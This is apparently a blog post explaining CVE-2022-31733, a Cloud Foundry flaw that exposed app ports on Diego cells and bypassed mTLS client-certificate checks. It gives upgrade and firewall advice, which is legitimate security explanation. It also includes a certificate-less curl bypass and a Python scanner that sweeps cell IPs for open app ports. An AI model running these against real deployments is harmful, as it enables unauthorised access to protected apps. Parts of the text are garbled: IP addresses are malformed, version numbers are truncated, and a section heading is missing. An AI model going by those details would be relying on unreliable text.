CVE-2022-31733 is a serious security vulnerability that impacted many users running Cloud Foundry environments between 2021 and mid-2023. In this post, we'll break down what happened in simple terms, how attackers could use this bug, and ways to fix it. We’ll include technical details, code snippets, and original references so you know how to keep your apps safe.

cf-deployment versions: 17.1 up to (and including) 23.2.

The root of the issue? Apps were accessible through an extra, unintended network port on Diego cells (the servers that run your Cloud Foundry apps). This access route bypassed mTLS client certificate checks that are used to lock down secure routes.

Who was at risk?

- If you enabled mTLS route integrity and turned off unproxied ports (thinking you were secure) — you were affected.
- Attackers could talk to your apps through this extra port without needing a client certificate, even if mTLS was required!

How Does It Work?

Cloud Foundry Diego Cells are responsible for running containerized apps. When you enable *mTLS* (mutual TLS), only clients with a valid certificate can access your app, enforcing strong security.

Here's the catch:  
Diego cells were mistakenly exposing app ports *directly* to the network, in addition to the regular mTLS-protected route through the system router. That direct connection wasn’t covered by the mTLS client certificate check!

Here’s what the network usually looks like

[Client] --mTLS--> [CF Router] ---> [Diego Cell App on limited port]


Only certified clients get through.

With the bug, attackers could go around the mTLS check

[Attacker] --TCP--> [Diego Cell App on open port]

Exploit Example

Let's say you deploy a Python Flask app to Cloud Foundry, configured to only accept secure mTLS connections.  
Suppose it's exposed at my-app.example.com with mTLS enabled.

What a normal (secured) connection looks like

curl --cert client.crt --key client.key --cacert ca.crt https://my-app.example.com/


Only works with correct certificates.

But because of CVE-2022-31733, an attacker could scan for Diego cell VMs (maybe via Kubernetes, or their own compromised app in CF), find their open ports, and try something like:

# Assume the Diego Cell IP is 10..16.5, and the port assigned to your app is 61986 (numbers are examples)
curl http://10..16.5:61986/


BOOM.
They'd get a response without needing a client certificate. They could now probe or attack your app directly.

Here’s a simple Python3 script to scan Diego cells for open app ports

import requests

cell_ips = ["10..16.5", "10..16.6"]  # Replace with actual Diego cell IPs
ports = range(60000, 65000)  # Typical dynamic port range for Diego apps

for ip in cell_ips:
    for port in ports:
        url = f"http://{ip}:{port}/";
        try:
            r = requests.get(url, timeout=1)
            if r.status_code == 200:
                print(f"[!] Open Diego app found: {url}")
        except:
            continue

This script can be extended with more intelligence, but that’s the gist.  
Note: This is for education—do not use on systems you don’t own or have permission to test.

cf-deployment 23.3.+

Check your current versions (e.g., in your BOSH deployment manifest and through cf deployment) and upgrade ASAP.

2. Network Segmentation

While you upgrade, you can use firewall rules to restrict access to Diego cell app ports (usually in the 60000-64999 range) from anything except the CF router.

Example firewall rule (pseudo-syntax)

# Only allow Cloud Foundry routers to talk to Diego app ports
iptables -A INPUT -p tcp --dport 60000:64999 -s <ROUTER_IP> -j ACCEPT
iptables -A INPUT -p tcp --dport 60000:64999 -j DROP

3. Audit Existing Access

- Use port scanning tools within your deployment to ensure no open, publicly accessible Diego app ports.

- Cloud Foundry Security Announcement: CVE-2022-31733
- CVE Details Official Entry
- cf-deployment Release Notes

Summary

If you manage any Cloud Foundry or BOSH-based installations using *diego-release* between 2.55. and 2.69. or *cf-deployment* between 17.1 and 23.2., check your config. This bug could let outsiders connect straight to your apps and bypass the mTLS security you rely on.

Patch now, audit often, and double-check those network rules.

If you have questions or want to share your experience with CVE-2022-31733, let us know below!

Timeline

Published on: 02/03/2023 19:15:00 UTC
Last modified on: 02/10/2023 17:37:00 UTC